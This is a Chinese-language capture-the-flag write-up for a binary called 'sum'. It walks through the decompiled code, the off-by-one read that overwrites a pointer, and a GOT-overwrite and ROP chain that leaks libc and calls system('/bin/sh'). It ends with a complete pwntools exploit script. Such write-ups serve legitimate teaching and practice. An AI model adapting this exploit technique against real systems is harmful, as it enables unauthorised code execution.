相关资源

文件分析

1
2
3
4
5
6
$ checksec sum
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)

代码分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp) {
__int64 v4[5]; // [rsp+0h] [rbp-40h] BYREF
__int64 *v5; // [rsp+28h] [rbp-18h]
__int64 v6; // [rsp+30h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
memset(v4, 0, sizeof(v4));
v6 = 0LL;
v5 = &v6;
puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n");
puts("[Example]\n2 3 4 0");
read_ints(v4, 5LL);
if ( (int)sum(v4, v5) > 5 )
exit(-1);
printf("%llu\n", v6);
return 0;
}

read_ints 结合main中13# read_ints(v4, 5LL);可以看到实际上读入了6个八字 覆盖了main中的v5指针

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 __fastcall read_ints(__int64 *a1, __int64 a2) {
__int64 i; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0LL; i <= a2; ++i ) {
if ( (unsigned int)__isoc99_scanf("%lld", &a1[i]) != 1 )
exit(-1);
if ( !a1[i] )
break;
}
return __readfsqword(0x28u) ^ v4;
}

sum 结合main中14# sum(v4, v5)可以看到 是将数组中的数求和,存到v5指向的内存空间 返回相加的数字的个数

main中 如果相加的个数大于5 则exit 否则调用printf

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sum(__int64 *a1, _QWORD *a2) {
unsigned int v2; // eax
unsigned int i; // [rsp+14h] [rbp-Ch]
*a2 = 0LL;
for ( i = 0; a1[i]; ++i ) {
v2 = i;
*a2 += a1[v2];
}
return i;
}

攻击方法

明显可以通过写入6个数 来实现任意地址写(第6个为目标地址,6个求和为目标值) 但只能写一次,如何实现多次写入呢?

因为相加个数为6个 所以会exit 可以将main写入exit@got 这样就可以多次写入了

紧接着又有问题 没有可以直接泄露libc基址或stack地址的地方 怎么获取shell呢?

最开始想到的是 直接partial_overwrite printf@got中的低字节 使其成为one_gadget的地址 但是仍然有12bit的随机性 概率比较低

观察到执行到call printf时 栈顶的内容就是我们输入的数字 因此可控 那么可以在改写printf@gotpop xxx; ret(因为call会push进一个地址)然后接着使用ROP 输出puts真实地址 获取libc基址 然后再一次就是system的ROP了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='amd64', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

context.terminal = ["tmux", "splitw", "-h"]
proc = process("./sum", env={"LD_PRELOAD":"./libc.so"})
belf = ELF("./sum")
libc = ELF("libc.so")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def write(addr, con):
payload = f'{con-4-addr} {1} {1} {1} {1} {addr}'.encode()
sla(b'0', payload)

gscript = '''
b * 0x0000000000400987
b * 0x00000000004009BF
''' + 'c\n' * 4
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

main = belf.symbols['main']
exit_got = belf.got['exit']
printf_got = belf.got['printf']
puts_got = belf.got['puts']
rdi_ret = 0x0000000000400a43
ret = 0x00000000004005ee
puts_plt = belf.plt['puts']

write(exit_got, main)
write(printf_got, rdi_ret)
payload = f'{rdi_ret} {puts_got} {puts_plt} {str(0x4009a7)} 0'.encode() # 这里注意0x4009a7是call exit的指令地址 不直接用main或exit是因为会导致栈不对齐而crash
sla(b'0', payload)

libc_base = ga() - libc.sym['puts']
ls("libc base: "+hex(libc_base))

binsh_str = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']

payload = f'{rdi_ret} {binsh_str} {system} {str(0x4009a7)} 0'.encode()
sla(b'0', payload)

pi()
pause()
⬆︎TOP